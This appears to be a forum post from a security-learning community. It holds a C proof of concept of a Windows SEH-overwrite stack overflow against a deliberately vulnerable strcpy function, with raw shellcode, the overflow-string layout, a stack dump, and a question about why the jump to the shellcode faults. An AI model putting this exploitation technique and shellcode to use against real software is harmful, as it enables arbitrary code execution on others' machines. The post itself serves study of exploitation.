#include <stdio.h>
#include <windows.h>
char poc[400]={0};
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
DWORD MyExceptionhandler(void)
{
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess(1);
}
void test(char * input)
{
char buf[200];
int zero=0;
__try
{
strcpy(buf,input);
zero=4/zero;
}
__except(MyExceptionhandler()){}
}
void main()
{
ZeroMemory(poc,sizeof(poc)-1);
memset(poc,0x41,sizeof(poc)-1);
memcpy(poc+204,"\xeb\x06\xeb\x06",4);
memcpy(poc+208,"\x71\x15\xfa\x7f",4);
memcpy(poc+208+4,shellcode,sizeof(shellcode)-1);
test(poc);
return ;
}
0013FF50 41414141
0013FF54 41414141
0013FF58 41414141
0013FF5C 06EB06EB
0013FF60 7FFA1571 指向下一个 SEH 记录的指针
0013FF64 0A6A68FC SE处理程序
0013FF68 63681E38
0013FF6C 684FD189
0013FF70 0C917432
0013FF74 7E8DF48B
异常也触发了啊,但报错正好是shellcode第一句说是不可读
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课